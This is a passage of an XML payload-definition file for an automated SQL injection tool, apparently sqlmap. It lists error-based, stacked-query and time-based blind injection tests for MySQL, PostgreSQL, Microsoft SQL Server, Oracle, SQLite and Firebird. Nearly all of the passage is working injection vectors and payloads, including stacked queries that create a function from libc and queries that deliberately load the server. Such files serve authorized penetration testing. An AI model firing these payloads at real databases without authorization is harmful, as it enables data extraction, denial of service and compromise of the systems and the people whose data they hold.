            <payload>OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
        </details>
    </test>

    <test>
        <title>Oracle OR error-based - WHERE clause (XMLType)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>2</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
        <request>
            <payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle OR error-based - WHERE clause (utl_inaddr.get_host_address)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>2</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
            <dbms_version>&gt;= 8.1.6</dbms_version>
        </details>
    </test>

    <test>
        <title>Oracle OR error-based - WHERE clause (ctxsys.drithsx.sn)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>2</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM], '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Firebird OR error-based - WHERE clause</title>
        <stype>2</stype>
        <level>3</level>
        <risk>2</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Firebird</dbms>
        </details>
    </test>
    <!--
         TODO: if possible, add payload for SQLite, Microsoft Access,
         and SAP MaxDB - no known techniques at this time
    -->
    <!-- End of error-based tests - WHERE clause -->


    <!-- Error-based tests - Parameter replace -->
    <test>
        <title>MySQL &gt;= 5.0 error-based - Parameter replace</title>
        <stype>2</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
        <request>
            <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0</dbms_version>
        </details>
    </test>

    <test>
        <title>PostgreSQL error-based - Parameter replace</title>
        <stype>2</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
        <request>
            <payload>(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase error-based - Parameter replace</title>
        <stype>2</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(CONVERT(INT,('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))</vector>
        <request>
            <payload>(CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
        </details>
    </test>

    <test>
        <title>Oracle error-based - Parameter replace</title>
        <stype>2</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
        <request>
            <payload>(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Firebird error-based - Parameter replace</title>
        <stype>2</stype>
        <level>4</level>
        <risk>0</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Firebird</dbms>
        </details>
    </test>
    <!-- End of error-based tests - Parameter replace -->


    <!-- Error-based tests - GROUP BY and ORDER BY clauses -->
    <test>
        <title>MySQL &gt;= 5.0 error-based - GROUP BY and ORDER BY clauses</title>
        <stype>2</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>, (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
        <request>
            <payload>, (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0</dbms_version>
        </details>
    </test>

    <test>
        <title>PostgreSQL error-based - GROUP BY and ORDER BY clauses</title>
        <stype>2</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>, (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
        <request>
            <payload>, (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase error-based - ORDER BY clause</title>
        <stype>2</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>3</clause>
        <where>1</where>
        <vector>, (CONVERT(INT,('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))</vector>
        <request>
            <payload>, (CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
        </details>
    </test>

    <test>
        <title>Oracle error-based - GROUP BY and ORDER BY clauses</title>
        <stype>2</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>, (SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
        <request>
            <payload>, (SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>
    <!--
         TODO: if possible, add payload for SQLite, Microsoft Access
         and SAP MaxDB - no known techniques at this time
    -->
    <!-- End of error-based tests - GROUP BY and ORDER BY clauses -->


    <!-- Stacked queries tests -->
    <test>
        <title>MySQL &gt; 5.0.11 stacked queries</title>
        <stype>4</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>; IF(([INFERENCE]), SLEEP([SLEEPTIME]), [RANDNUM]);</vector>
        <request>
            <payload>; SELECT SLEEP([SLEEPTIME]);</payload>
            <comment>#</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt; 5.0.11</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &lt; 5.0.12 stacked queries (heavy query)</title>
        <stype>4</stype>
        <level>2</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>; IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM]);</vector>
        <request>
            <payload>; SELECT BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'));</payload>
            <comment>#</comment>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL &gt; 8.1 stacked queries</title>
        <stype>4</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END);</vector>
        <request>
            <payload>; SELECT PG_SLEEP([SLEEPTIME]);</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
            <dbms_version>&gt; 8.1</dbms_version>
        </details>
    </test>

    <test>
        <title>PostgreSQL stacked queries (heavy query)</title>
        <stype>4</stype>
        <level>2</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000)) ELSE [RANDNUM] END);</vector>
        <request>
            <payload>; SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000);</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL &lt; 8.2 stacked queries (Glibc)</title>
        <stype>4</stype>
        <level>4</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END);</vector>
        <request>
            <payload>; CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]);</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
            <dbms_version>&lt; 8.2</dbms_version>
            <os>Linux</os>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase stacked queries</title>
        <stype>4</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]';</vector>
        <request>
            <payload>; WAITFOR DELAY '0:0:[SLEEPTIME]';</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
        </details>
    </test>

    <test>
        <title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)</title>
        <stype>4</stype>
        <level>5</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>; SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL;</vector>
        <request>
            <payload>; SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]', [SLEEPTIME]) FROM DUAL;</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle stacked queries (heavy query)</title>
        <stype>4</stype>
        <level>5</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>; SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL;</vector>
        <request>
            <payload>; SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5;</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>SQLite &gt; 2.0 stacked queries (heavy query)</title>
        <stype>4</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END);</vector>
        <request>
            <payload>; SELECT LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))));</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>SQLite</dbms>
            <dbms_version>&gt; 2.0</dbms_version>
        </details>
    </test>

    <test>
        <title>Firebird stacked queries (heavy query)</title>
        <stype>4</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>; SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3),[RANDNUM]) FROM RDB$DATABASE;</vector>
        <request>
            <payload>; SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3;</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>Firebird</dbms>
            <dbms_version>&gt;= 2.0</dbms_version>
        </details>
    </test>
    <!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
    <!-- End of stacked queries tests -->


    <!-- AND time-based blind tests -->
    <test>
        <title>MySQL &gt; 5.0.11 AND time-based blind</title>
        <stype>5</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=IF(([INFERENCE]), SLEEP([SLEEPTIME]), [RANDNUM])</vector>
        <request>
            <payload>AND SLEEP([SLEEPTIME])</payload>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt; 5.0.11</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &lt; 5.0.12 AND time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM])</vector>
        <request>
            <payload>AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL &gt; 8.1 AND time-based blind</title>
        <stype>5</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))</payload>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
            <dbms_version>&gt; 8.1</dbms_version>
        </details>
    </test>

    <test>
        <title>PostgreSQL AND time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000))</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase AND time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7)</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
        </details>
    </test>

    <test>
        <title>Oracle AND time-based blind</title>
        <stype>5</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]', [SLEEPTIME])</payload>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle AND time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5)</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>SQLite &gt; 2.0 AND time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>AND [RANDNUM]=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>SQLite</dbms>
            <dbms_version>&gt; 2.0</dbms_version>
        </details>
    </test>

    <test>
        <title>Firebird AND time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3),[RANDNUM])</vector>
        <request>
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3)</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>Firebird</dbms>
            <dbms_version>&gt;= 2.0</dbms_version>
        </details>
    </test>
    <!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
    <!-- End of AND time-based blind tests -->


    <!-- OR time-based blind tests -->
    <test>
        <title>MySQL &gt; 5.0.11 OR time-based blind</title>
        <stype>5</stype>
        <level>2</level>
        <risk>3</risk>
        <clause>1,2,3</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=IF(([INFERENCE]), SLEEP([SLEEPTIME]), [RANDNUM])</vector>
        <request>
            <payload>OR [RANDNUM]=SLEEP([SLEEPTIME])</payload>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt; 5.0.11</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &lt; 5.0.12 OR time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1,2,3</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM])</vector>
        <request>
            <payload>OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL &gt; 8.1 OR time-based blind</title>
        <stype>5</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1,2,3</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))</payload>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
            <dbms_version>&gt; 8.1</dbms_version>
        </details>
    </test>

    <test>
        <title>PostgreSQL OR time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1,2,3</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000))</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase OR time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1,2,3</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7)</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
        </details>
    </test>

    <test>
        <title>Oracle OR time-based blind</title>
        <stype>5</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1,2,3</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle OR time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1,2,3</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5)</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>SQLite &gt; 2.0 OR time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>OR [RANDNUM]=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>SQLite</dbms>
            <dbms_version>&gt; 2.0</dbms_version>
        </details>
    </test>

    <test>
        <title>Firebird OR time-based blind (heavy query)</title>
        <stype>5</stype>
        <level>5</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3),[RANDNUM])</vector>
        <request>
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3)</payload>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
